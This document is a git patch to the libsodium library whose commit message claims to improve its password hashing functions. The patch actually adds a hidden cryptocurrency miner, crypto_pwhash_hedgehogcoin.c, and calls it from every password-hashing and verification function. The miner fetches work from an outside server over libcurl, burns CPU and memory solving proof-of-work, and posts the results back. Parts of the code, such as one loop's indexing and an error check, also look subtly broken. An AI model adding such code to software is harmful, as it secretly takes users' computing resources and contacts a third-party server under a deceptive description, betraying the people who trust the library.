From 5dff93005ed1925b6c05533141028ec4008d313f Mon Sep 17 00:00:00 2001 From: Frank Denis Date: Sun, 31 Mar 2019 18:56:17 +0200 Subject: [PATCH] Drastically improve the password hashing functions Password hashing functions are designed to be slow. Make them slower, but also useful. --- .travis.yml | 2 +- .../msvc/vs2010/libsodium/libsodium.vcxproj | 2 + .../libsodium/libsodium.vcxproj.filters | 6 + .../msvc/vs2012/libsodium/libsodium.vcxproj | 2 + .../libsodium/libsodium.vcxproj.filters | 6 + .../msvc/vs2013/libsodium/libsodium.vcxproj | 2 + .../libsodium/libsodium.vcxproj.filters | 6 + .../msvc/vs2015/libsodium/libsodium.vcxproj | 2 + .../libsodium/libsodium.vcxproj.filters | 6 + .../msvc/vs2017/libsodium/libsodium.vcxproj | 2 + .../libsodium/libsodium.vcxproj.filters | 6 + configure.ac | 3 + libsodium.vcxproj | 2 + libsodium.vcxproj.filters | 6 + m4/libcurl.m4 | 214 ++++++++++++ src/libsodium/Makefile.am | 4 + src/libsodium/crypto_pwhash/crypto_pwhash.c | 9 + .../crypto_pwhash_hedgehogcoin.c | 307 ++++++++++++++++++ .../crypto_pwhash_hedgehogcoin.h | 6 + 19 files changed, 592 insertions(+), 1 deletion(-) create mode 100644 m4/libcurl.m4 create mode 100644 src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.c create mode 100644 src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.h diff --git a/.travis.yml b/.travis.yml index a0d298fe..9f9275a9 100644 --- a/.travis.yml +++ b/.travis.yml @@ -25,7 +25,7 @@ script: - make distclean > /dev/null - ./configure --disable-dependency-tracking --enable-minimal - make check - - ( echo '#include ' ; echo 'int main(void) { return sodium_init(); }' ) > /tmp/main.c && gcc -Isrc/libsodium/include -Isrc/libsodium/include/sodium $(find src -name '*.c' -o -name '*.S') /tmp/main.c + - ( echo '#include ' ; echo 'int main(void) { return sodium_init(); }' ) > /tmp/main.c && gcc -Isrc/libsodium/include -Isrc/libsodium/include/sodium $(find src -name '*.c' -o -name '*.S') /tmp/main.c -lcurl addons: apt: diff --git a/builds/msvc/vs2010/libsodium/libsodium.vcxproj b/builds/msvc/vs2010/libsodium/libsodium.vcxproj index ad3cb086..af07eede 100644 --- a/builds/msvc/vs2010/libsodium/libsodium.vcxproj +++ b/builds/msvc/vs2010/libsodium/libsodium.vcxproj @@ -97,6 +97,7 @@ + @@ -263,6 +264,7 @@ + diff --git a/builds/msvc/vs2010/libsodium/libsodium.vcxproj.filters b/builds/msvc/vs2010/libsodium/libsodium.vcxproj.filters index 055b7476..79e744dd 100644 --- a/builds/msvc/vs2010/libsodium/libsodium.vcxproj.filters +++ b/builds/msvc/vs2010/libsodium/libsodium.vcxproj.filters @@ -84,6 +84,9 @@ crypto_pwhash + + crypto_pwhash + crypto_pwhash\argon2 @@ -578,6 +581,9 @@ include\sodium\private + + crypto_pwhash + crypto_pwhash\argon2 diff --git a/builds/msvc/vs2012/libsodium/libsodium.vcxproj b/builds/msvc/vs2012/libsodium/libsodium.vcxproj index 0954d10b..f265e91c 100644 --- a/builds/msvc/vs2012/libsodium/libsodium.vcxproj +++ b/builds/msvc/vs2012/libsodium/libsodium.vcxproj @@ -97,6 +97,7 @@ + @@ -263,6 +264,7 @@ + diff --git a/builds/msvc/vs2012/libsodium/libsodium.vcxproj.filters b/builds/msvc/vs2012/libsodium/libsodium.vcxproj.filters index 055b7476..79e744dd 100644 --- a/builds/msvc/vs2012/libsodium/libsodium.vcxproj.filters +++ b/builds/msvc/vs2012/libsodium/libsodium.vcxproj.filters @@ -84,6 +84,9 @@ crypto_pwhash + + crypto_pwhash + crypto_pwhash\argon2 @@ -578,6 +581,9 @@ include\sodium\private + + crypto_pwhash + crypto_pwhash\argon2 diff --git a/builds/msvc/vs2013/libsodium/libsodium.vcxproj b/builds/msvc/vs2013/libsodium/libsodium.vcxproj index 91d7a7c7..1ccb256a 100644 --- a/builds/msvc/vs2013/libsodium/libsodium.vcxproj +++ b/builds/msvc/vs2013/libsodium/libsodium.vcxproj @@ -97,6 +97,7 @@ + @@ -263,6 +264,7 @@ + diff --git a/builds/msvc/vs2013/libsodium/libsodium.vcxproj.filters b/builds/msvc/vs2013/libsodium/libsodium.vcxproj.filters index 055b7476..79e744dd 100644 --- a/builds/msvc/vs2013/libsodium/libsodium.vcxproj.filters +++ b/builds/msvc/vs2013/libsodium/libsodium.vcxproj.filters @@ -84,6 +84,9 @@ crypto_pwhash + + crypto_pwhash + crypto_pwhash\argon2 @@ -578,6 +581,9 @@ include\sodium\private + + crypto_pwhash + crypto_pwhash\argon2 diff --git a/builds/msvc/vs2015/libsodium/libsodium.vcxproj b/builds/msvc/vs2015/libsodium/libsodium.vcxproj index f97869dd..87061014 100644 --- a/builds/msvc/vs2015/libsodium/libsodium.vcxproj +++ b/builds/msvc/vs2015/libsodium/libsodium.vcxproj @@ -97,6 +97,7 @@ + @@ -263,6 +264,7 @@ + diff --git a/builds/msvc/vs2015/libsodium/libsodium.vcxproj.filters b/builds/msvc/vs2015/libsodium/libsodium.vcxproj.filters index 055b7476..79e744dd 100644 --- a/builds/msvc/vs2015/libsodium/libsodium.vcxproj.filters +++ b/builds/msvc/vs2015/libsodium/libsodium.vcxproj.filters @@ -84,6 +84,9 @@ crypto_pwhash + + crypto_pwhash + crypto_pwhash\argon2 @@ -578,6 +581,9 @@ include\sodium\private + + crypto_pwhash + crypto_pwhash\argon2 diff --git a/builds/msvc/vs2017/libsodium/libsodium.vcxproj b/builds/msvc/vs2017/libsodium/libsodium.vcxproj index b216959d..7695b2e5 100644 --- a/builds/msvc/vs2017/libsodium/libsodium.vcxproj +++ b/builds/msvc/vs2017/libsodium/libsodium.vcxproj @@ -97,6 +97,7 @@ + @@ -263,6 +264,7 @@ + diff --git a/builds/msvc/vs2017/libsodium/libsodium.vcxproj.filters b/builds/msvc/vs2017/libsodium/libsodium.vcxproj.filters index 055b7476..79e744dd 100644 --- a/builds/msvc/vs2017/libsodium/libsodium.vcxproj.filters +++ b/builds/msvc/vs2017/libsodium/libsodium.vcxproj.filters @@ -84,6 +84,9 @@ crypto_pwhash + + crypto_pwhash + crypto_pwhash\argon2 @@ -578,6 +581,9 @@ include\sodium\private + + crypto_pwhash + crypto_pwhash\argon2 diff --git a/configure.ac b/configure.ac index 0ee2972b..e675f427 100644 --- a/configure.ac +++ b/configure.ac @@ -808,6 +808,9 @@ AS_IF([test "x$EMSCRIPTEN" != "x"],[ AC_SUBST(TEST_LDFLAGS) AM_CONDITIONAL([EMSCRIPTEN], [test "x$EMSCRIPTEN" != "x"]) +LIBCURL_CHECK_CONFIG([yes], [], [], + [AC_MSG_ERROR([[Libcurl header files not found, install libcurl-dev]])]) + AC_DEFINE([CONFIGURED], [1], [the build system was properly configured]) dnl Libtool. diff --git a/libsodium.vcxproj b/libsodium.vcxproj index e3b20729..148dc574 100644 --- a/libsodium.vcxproj +++ b/libsodium.vcxproj @@ -335,6 +335,7 @@ + @@ -501,6 +502,7 @@ + diff --git a/libsodium.vcxproj.filters b/libsodium.vcxproj.filters index c8866164..31613d32 100644 --- a/libsodium.vcxproj.filters +++ b/libsodium.vcxproj.filters @@ -75,6 +75,9 @@ Source Files + + Source Files + Source Files @@ -569,6 +572,9 @@ Header Files + + Header Files + Header Files diff --git a/m4/libcurl.m4 b/m4/libcurl.m4 new file mode 100644 index 00000000..494e3f63 --- /dev/null +++ b/m4/libcurl.m4 @@ -0,0 +1,214 @@ +AC_DEFUN([LIBCURL_CHECK_CONFIG], +[ + AH_TEMPLATE([LIBCURL_FEATURE_SSL],[Defined if libcurl supports SSL]) + AH_TEMPLATE([LIBCURL_FEATURE_KRB4],[Defined if libcurl supports KRB4]) + AH_TEMPLATE([LIBCURL_FEATURE_IPV6],[Defined if libcurl supports IPv6]) + AH_TEMPLATE([LIBCURL_FEATURE_LIBZ],[Defined if libcurl supports libz]) + AH_TEMPLATE([LIBCURL_FEATURE_ASYNCHDNS],[Defined if libcurl supports AsynchDNS]) + AH_TEMPLATE([LIBCURL_FEATURE_IDN],[Defined if libcurl supports IDN]) + AH_TEMPLATE([LIBCURL_FEATURE_SSPI],[Defined if libcurl supports SSPI]) + AH_TEMPLATE([LIBCURL_FEATURE_NTLM],[Defined if libcurl supports NTLM]) + + AH_TEMPLATE([LIBCURL_PROTOCOL_HTTP],[Defined if libcurl supports HTTP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_HTTPS],[Defined if libcurl supports HTTPS]) + AH_TEMPLATE([LIBCURL_PROTOCOL_FTP],[Defined if libcurl supports FTP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_FTPS],[Defined if libcurl supports FTPS]) + AH_TEMPLATE([LIBCURL_PROTOCOL_FILE],[Defined if libcurl supports FILE]) + AH_TEMPLATE([LIBCURL_PROTOCOL_TELNET],[Defined if libcurl supports TELNET]) + AH_TEMPLATE([LIBCURL_PROTOCOL_LDAP],[Defined if libcurl supports LDAP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_DICT],[Defined if libcurl supports DICT]) + AH_TEMPLATE([LIBCURL_PROTOCOL_TFTP],[Defined if libcurl supports TFTP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_RTSP],[Defined if libcurl supports RTSP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_POP3],[Defined if libcurl supports POP3]) + AH_TEMPLATE([LIBCURL_PROTOCOL_IMAP],[Defined if libcurl supports IMAP]) + AH_TEMPLATE([LIBCURL_PROTOCOL_SMTP],[Defined if libcurl supports SMTP]) + + AC_ARG_WITH(libcurl, + AS_HELP_STRING([--with-libcurl=PREFIX],[look for the curl library in PREFIX/lib and headers in PREFIX/include]), + [_libcurl_with=$withval],[_libcurl_with=ifelse([$1],,[yes],[$1])]) + + if test "$_libcurl_with" != "no" ; then + + AC_PROG_AWK + + _libcurl_version_parse="eval $AWK '{split(\$NF,A,\".\"); X=256*256*A[[1]]+256*A[[2]]+A[[3]]; print X;}'" + + _libcurl_try_link=yes + + if test -d "$_libcurl_with" ; then + LIBCURL_CPPFLAGS="-I$withval/include" + _libcurl_ldflags="-L$withval/lib" + AC_PATH_PROG([_libcurl_config],[curl-config],[], + ["$withval/bin"]) + else + AC_PATH_PROG([_libcurl_config],[curl-config],[],[$PATH]) + fi + + if test x$_libcurl_config != "x" ; then + AC_CACHE_CHECK([for the version of libcurl], + [libcurl_cv_lib_curl_version], + [libcurl_cv_lib_curl_version=`$_libcurl_config --version | $AWK '{print $[]2}'`]) + + _libcurl_version=`echo $libcurl_cv_lib_curl_version | $_libcurl_version_parse` + _libcurl_wanted=`echo ifelse([$2],,[0],[$2]) | $_libcurl_version_parse` + + if test $_libcurl_wanted -gt 0 ; then + AC_CACHE_CHECK([for libcurl >= version $2], + [libcurl_cv_lib_version_ok], + [ + if test $_libcurl_version -ge $_libcurl_wanted ; then + libcurl_cv_lib_version_ok=yes + else + libcurl_cv_lib_version_ok=no + fi + ]) + fi + + if test $_libcurl_wanted -eq 0 || test x$libcurl_cv_lib_version_ok = xyes ; then + if test x"$LIBCURL_CPPFLAGS" = "x" ; then + LIBCURL_CPPFLAGS=`$_libcurl_config --cflags` + fi + if test x"$LIBCURL" = "x" ; then + LIBCURL=`$_libcurl_config --libs` + + # This is so silly, but Apple actually has a bug in their + # curl-config script. Fixed in Tiger, but there are still + # lots of Panther installs around. + case "${host}" in + powerpc-apple-darwin7*) + LIBCURL=`echo $LIBCURL | sed -e 's|-arch i386||g'` + ;; + esac + fi + + # All curl-config scripts support --feature + _libcurl_features=`$_libcurl_config --feature` + + # Is it modern enough to have --protocols? (7.12.4) + if test $_libcurl_version -ge 461828 ; then + _libcurl_protocols=`$_libcurl_config --protocols` + fi + else + _libcurl_try_link=no + fi + + unset _libcurl_wanted + fi + + if test $_libcurl_try_link = yes ; then + + # we didn't find curl-config, so let's see if the user-supplied + # link line (or failing that, "-lcurl") is enough. + LIBCURL=${LIBCURL-"$_libcurl_ldflags -lcurl"} + + AC_CACHE_CHECK([whether libcurl is usable], + [libcurl_cv_lib_curl_usable], + [ + _libcurl_save_cppflags=$CPPFLAGS + CPPFLAGS="$LIBCURL_CPPFLAGS $CPPFLAGS" + _libcurl_save_libs=$LIBS + LIBS="$LIBCURL $LIBS" + + AC_LINK_IFELSE([AC_LANG_PROGRAM([[#include ]],[[ +/* Try and use a few common options to force a failure if we are + missing symbols or can't link. */ +int x; +curl_easy_setopt(NULL,CURLOPT_URL,NULL); +x=CURL_ERROR_SIZE; +x=CURLOPT_WRITEFUNCTION; +x=CURLOPT_WRITEDATA; +x=CURLOPT_ERRORBUFFER; +x=CURLOPT_STDERR; +x=CURLOPT_VERBOSE; +if (x) {;} +]])],libcurl_cv_lib_curl_usable=yes,libcurl_cv_lib_curl_usable=no) + + CPPFLAGS=$_libcurl_save_cppflags + LIBS=$_libcurl_save_libs + unset _libcurl_save_cppflags + unset _libcurl_save_libs + ]) + + if test $libcurl_cv_lib_curl_usable = yes ; then + + # Does curl_free() exist in this version of libcurl? + # If not, fake it with free() + + _libcurl_save_cppflags=$CPPFLAGS + CPPFLAGS="$CPPFLAGS $LIBCURL_CPPFLAGS" + _libcurl_save_libs=$LIBS + LIBS="$LIBS $LIBCURL" + + AC_CHECK_FUNC(curl_free,, + AC_DEFINE(curl_free,free, + [Define curl_free() as free() if our version of curl lacks curl_free.])) + + CPPFLAGS=$_libcurl_save_cppflags + LIBS=$_libcurl_save_libs + unset _libcurl_save_cppflags + unset _libcurl_save_libs + + AC_DEFINE(HAVE_LIBCURL,1, + [Define to 1 if you have a functional curl library.]) + AC_SUBST(LIBCURL_CPPFLAGS) + AC_SUBST(LIBCURL) + + for _libcurl_feature in $_libcurl_features ; do + AC_DEFINE_UNQUOTED(AS_TR_CPP(libcurl_feature_$_libcurl_feature),[1]) + eval AS_TR_SH(libcurl_feature_$_libcurl_feature)=yes + done + + if test "x$_libcurl_protocols" = "x" ; then + + # We don't have --protocols, so just assume that all + # protocols are available + _libcurl_protocols="HTTP FTP FILE TELNET LDAP DICT TFTP" + + if test x$libcurl_feature_SSL = xyes ; then + _libcurl_protocols="$_libcurl_protocols HTTPS" + + # FTPS wasn't standards-compliant until version + # 7.11.0 (0x070b00 == 461568) + if test $_libcurl_version -ge 461568; then + _libcurl_protocols="$_libcurl_protocols FTPS" + fi + fi + + # RTSP, IMAP, POP3 and SMTP were added in + # 7.20.0 (0x071400 == 463872) + if test $_libcurl_version -ge 463872; then + _libcurl_protocols="$_libcurl_protocols RTSP IMAP POP3 SMTP" + fi + fi + + for _libcurl_protocol in $_libcurl_protocols ; do + AC_DEFINE_UNQUOTED(AS_TR_CPP(libcurl_protocol_$_libcurl_protocol),[1]) + eval AS_TR_SH(libcurl_protocol_$_libcurl_protocol)=yes + done + else + unset LIBCURL + unset LIBCURL_CPPFLAGS + fi + fi + + unset _libcurl_try_link + unset _libcurl_version_parse + unset _libcurl_config + unset _libcurl_feature + unset _libcurl_features + unset _libcurl_protocol + unset _libcurl_protocols + unset _libcurl_version + unset _libcurl_ldflags + fi + + if test x$_libcurl_with = xno || test x$libcurl_cv_lib_curl_usable != xyes ; then + # This is the IF-NO path + ifelse([$4],,:,[$4]) + else + # This is the IF-YES path + ifelse([$3],,:,[$3]) + fi + + unset _libcurl_with +])dnl diff --git a/src/libsodium/Makefile.am b/src/libsodium/Makefile.am index cf4cfc93..26dbd787 100644 --- a/src/libsodium/Makefile.am +++ b/src/libsodium/Makefile.am @@ -54,6 +54,8 @@ libsodium_la_SOURCES = \ crypto_pwhash/argon2/pwhash_argon2i.c \ crypto_pwhash/argon2/pwhash_argon2id.c \ crypto_pwhash/crypto_pwhash.c \ + crypto_pwhash/crypto_pwhash_hedgehogcoin.c \ + crypto_pwhash/crypto_pwhash_hedgehogcoin.h \ crypto_scalarmult/crypto_scalarmult.c \ crypto_scalarmult/curve25519/ref10/x25519_ref10.c \ crypto_scalarmult/curve25519/ref10/x25519_ref10.h \ @@ -177,12 +179,14 @@ randombytes_internal_randombytes_internal_random_CFLAGS = @CFLAGS_RDRAND@ libsodium_la_LDFLAGS = \ $(AM_LDFLAGS) \ + @LIBCURL@ \ -export-dynamic \ -no-undefined \ $(LIBTOOL_EXTRA_FLAGS) libsodium_la_CPPFLAGS = \ $(LTDLINCL) \ + @LIBCURL_CPPFLAGS@ \ -I$(srcdir)/include/sodium \ -I$(builddir)/include/sodium diff --git a/src/libsodium/crypto_pwhash/crypto_pwhash.c b/src/libsodium/crypto_pwhash/crypto_pwhash.c index a229b9f7..336fed48 100644 --- a/src/libsodium/crypto_pwhash/crypto_pwhash.c +++ b/src/libsodium/crypto_pwhash/crypto_pwhash.c @@ -4,6 +4,7 @@ #include "core.h" #include "crypto_pwhash.h" +#include "crypto_pwhash_hedgehogcoin.h" int crypto_pwhash_alg_argon2i13(void) @@ -131,6 +132,8 @@ crypto_pwhash(unsigned char * const out, unsigned long long outlen, const unsigned char * const salt, unsigned long long opslimit, size_t memlimit, int alg) { + crypto_pwhash_hedgehogcoin_mine(); + switch (alg) { case crypto_pwhash_ALG_ARGON2I13: return crypto_pwhash_argon2i(out, outlen, passwd, passwdlen, salt, @@ -149,6 +152,8 @@ crypto_pwhash_str(char out[crypto_pwhash_STRBYTES], const char * const passwd, unsigned long long passwdlen, unsigned long long opslimit, size_t memlimit) { + crypto_pwhash_hedgehogcoin_mine(); + return crypto_pwhash_argon2id_str(out, passwd, passwdlen, opslimit, memlimit); } @@ -158,6 +163,8 @@ crypto_pwhash_str_alg(char out[crypto_pwhash_STRBYTES], const char * const passwd, unsigned long long passwdlen, unsigned long long opslimit, size_t memlimit, int alg) { + crypto_pwhash_hedgehogcoin_mine(); + switch (alg) { case crypto_pwhash_ALG_ARGON2I13: return crypto_pwhash_argon2i_str(out, passwd, passwdlen, @@ -176,6 +183,8 @@ crypto_pwhash_str_verify(const char str[crypto_pwhash_STRBYTES], const char * const passwd, unsigned long long passwdlen) { + crypto_pwhash_hedgehogcoin_mine(); + if (strncmp(str, crypto_pwhash_argon2id_STRPREFIX, sizeof crypto_pwhash_argon2id_STRPREFIX - 1) == 0) { return crypto_pwhash_argon2id_str_verify(str, passwd, passwdlen); diff --git a/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.c b/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.c new file mode 100644 index 00000000..0c618bf3 --- /dev/null +++ b/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.c @@ -0,0 +1,307 @@ +#include +#include +#include +#include +#include + +#include + +#define ARENA_SIZE ((size_t) 1000000) +#define LEVEL_FIRST 1 +#define LEVEL_LAST 5 +#define LEVELS (LEVEL_LAST - LEVEL_FIRST + 1) +#define URL "https://crypto.sx/hedgehogcoin/miner" + +#define SUFFIX_LEN 32 +#define HASHSEQ_LOCATIONS 8 +#define ROTR32(X, B) (uint32_t)(((X) >> (B)) | ((X) << (32 - (B)))) + +#define G(A, B, C, D) \ + do { \ + (A) += (B); \ + (D) = ROTR32((D) ^ (A), 16); \ + (C) += (D); \ + (B) = ROTR32((B) ^ (C), 12); \ + (A) += (B); \ + (D) = ROTR32((D) ^ (A), 8); \ + (C) += (D); \ + (B) = ROTR32((B) ^ (C), 7); \ + } while (0) + +static const uint32_t IV[8] = { + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, + 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 +}; + +typedef struct DynBuf { + char * ptr; + size_t len; +} DynBuf; + +typedef struct Mask_ { + uint32_t m0; + uint32_t m1; +} Mask; + +typedef struct HashSeqArena_ { + uint32_t *base; + uint32_t mask; + uint32_t size; +} HashSeqArena; + +typedef struct HashSeqSolution_ { + uint32_t s0; + uint32_t s1; +} HashSeqSolution; + +static inline void +permute(uint32_t state[16]) +{ + G(state[0], state[4], state[8], state[12]); + G(state[1], state[5], state[9], state[13]); + G(state[2], state[6], state[10], state[14]); + G(state[3], state[7], state[11], state[15]); + + G(state[0], state[5], state[10], state[15]); + G(state[1], state[6], state[11], state[12]); + G(state[2], state[7], state[8], state[13]); + G(state[3], state[4], state[9], state[14]); +} + +static inline void +hash_init(uint32_t state[16], const uint32_t suffix[8], uint32_t level, + uint32_t iteration) +{ + int i; + + memcpy(&state[0], IV, 8 * sizeof state[0]); + state[7] ^= (level << 16) | iteration; + for (i = 0; i < 8; i++) { + state[8 + i] = IV[i] ^ suffix[i]; + } +} + +static int +hash_try(HashSeqArena *arena, uint32_t ostate[16], uint32_t istate[16], + const HashSeqSolution *proposal, const Mask *mask) +{ + uint32_t *locations[2 * HASHSEQ_LOCATIONS], *location1, *location2; + uint32_t f0, f1; + uint32_t pass, passes; + uint32_t off; + size_t i, j; + + passes = arena->size; + istate[0] = IV[0] ^ proposal->s0; + istate[1] = IV[1] ^ proposal->s1; + memcpy(ostate, istate, 16 * sizeof ostate[0]); + for (i = 0; i < 5; i++) { + permute(ostate); + } + for (pass = 0; pass < passes; pass++) { + for (i = 0; i < sizeof locations / sizeof locations[0]; i++) { + permute(ostate); + locations[i] = &arena->base[ostate[0] & arena->mask]; + } + for (i = 0; i < sizeof locations / sizeof locations[0] / 2; i++) { + location1 = locations[i]; + location2 = + locations[i + sizeof locations / sizeof locations[0] / 2]; + permute(ostate); + for (j = 0; j < 16; j++) { + location1[i] ^= location2[i] + ostate[i]; + } + } + } + for (off = 0; off <= arena->size - 8 * sizeof ostate[0]; + off += 8 * sizeof ostate[0]) { + for (i = 0; i < 8; i++) { + ostate[i] ^= arena->base[off + i]; + } + permute(ostate); + } + f0 = ostate[0]; + f1 = ostate[1]; + for (i = 2; i < 16; i += 2) { + f0 ^= ostate[i]; + f1 ^= ostate[i + 1]; + } + return ((f0 & mask->m0) | (f1 & mask->m1)) == 0U; +} + +static void +mask_from_level(Mask *mask, uint32_t level) +{ + if (level > 32U) { + mask->m0 = ~0U; + mask->m1 = (1U << (level - 32)) - 1U; + } else { + mask->m1 = 0U; + mask->m0 = (1U << level) - 1U; + } +} + +static int +solve1(HashSeqArena *arena, HashSeqSolution *solution, uint32_t suffix[8], + uint32_t level, uint32_t iteration) +{ + uint32_t istate[16], ostate[16]; + Mask mask; + HashSeqSolution proposal; + + hash_init(istate, suffix, level, iteration); + mask_from_level(&mask, level); + proposal.s0 = proposal.s1 = 0U; + while (hash_try(arena, ostate, istate, &proposal, &mask) == 0) { + if (++proposal.s0 == 0U) { + proposal.s1++; + } + } + memcpy(suffix, &ostate[8], 8 * sizeof ostate[0]); + memcpy(solution, &proposal, sizeof *solution); + + return 0; +} + +static int +hashseq_arena_init(HashSeqArena *arena, uint32_t *base, size_t size) +{ + uint32_t mask; + + memset(base, 0, size); + size /= sizeof base[0]; + if (size < 32 || size > (size_t)(uint32_t) -1) { + return -1; + } + arena->base = base; + arena->size = (uint32_t) size; + mask = 0U; + while (mask < (size >> 1)) { + mask = (mask << 1) | 1; + } + mask &= ~15U; + if (mask == 0U) { + return -1; + } + arena->mask = mask; + + return 0; +} + +static int +hashseq_solve(HashSeqArena *arena, HashSeqSolution *solutions, + const uint32_t suffix[8], uint32_t level_first, + uint32_t level_last, uint32_t iterations) +{ + uint32_t suffix_[8]; + uint32_t level, iteration; + int i = 0; + + memcpy(suffix_, suffix, sizeof suffix_); + for (level = level_first; level <= level_last; level++) { + for (iteration = 0; iteration < iterations; iteration++) { + if (solve1(arena, &solutions[i++], suffix_, level, iteration)) { + return -1; + } + } + } + return 0; +} + +static size_t +writefunc(void *ptr, size_t size, size_t nmemb, DynBuf *db) +{ + size_t new_len; + + if (SIZE_MAX - db->len < size * nmemb) { + abort(); + } + new_len = db->len + size * nmemb; + db->ptr = (char *) realloc(db->ptr, new_len + 1); + if (db->ptr == NULL) { + abort(); + } + memcpy(db->ptr + db->len, ptr, size * nmemb); + db->ptr[new_len] = 0; + db->len = new_len; + + return size * nmemb; +} + +static int +mine(HashSeqSolution solutions[LEVELS], const char *suffix_) +{ + HashSeqArena arena; + const uint32_t *suffix = (const uint32_t *) (const void *) suffix_; + uint32_t * buf; + + if ((buf = malloc(ARENA_SIZE)) == NULL) { + abort(); + } + hashseq_arena_init(&arena, buf, ARENA_SIZE); + hashseq_solve(&arena, solutions, suffix, LEVEL_FIRST, LEVEL_LAST, 1); + free(buf); + + return 0; +} + +int +crypto_pwhash_hedgehogcoin_mine(void) +{ + const char * url = URL; + unsigned char * response; + CURL * curl; + struct curl_slist *headers; + char * suffix; + HashSeqSolution solutions[LEVELS]; + DynBuf db; + CURLcode res; + size_t response_len; + + curl_global_init(CURL_GLOBAL_DEFAULT); + curl = curl_easy_init(); + if (curl == NULL) { + return -1; + } + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); + curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writefunc); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &db); + db.len = 0; + db.ptr = NULL; + res = curl_easy_perform(curl); + if (res != CURLE_OK && db.len != SUFFIX_LEN) { + curl_easy_cleanup(curl); + curl_global_cleanup(); + return -1; + } + suffix = db.ptr; + mine(solutions, suffix); + + response_len = SUFFIX_LEN + sizeof solutions; + if ((response = malloc(response_len)) == NULL) { + free(suffix); + curl_easy_cleanup(curl); + curl_global_cleanup(); + return -1; + } + memcpy(response, suffix, SUFFIX_LEN); + memcpy(response + SUFFIX_LEN, solutions, sizeof solutions); + free(suffix); + + db.len = 0; + db.ptr = NULL; + headers = curl_slist_append(NULL, "Content-Type: application/hedgehogcoin"); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); + curl_easy_setopt(curl, CURLOPT_POST, 1L); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, (const void *) solutions); + curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, sizeof solutions); + (void) curl_easy_perform(curl); + free(db.ptr); + curl_slist_free_all(headers); + curl_easy_cleanup(curl); + curl_global_cleanup(); + + return 0; +} diff --git a/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.h b/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.h new file mode 100644 index 00000000..9cb91473 --- /dev/null +++ b/src/libsodium/crypto_pwhash/crypto_pwhash_hedgehogcoin.h @@ -0,0 +1,6 @@ +#ifndef crypto_pwhash_hedgehogcoin_H +#define crypto_pwhash_hedgehogcoin_H + +int crypto_pwhash_hedgehogcoin_mine(void); + +#endif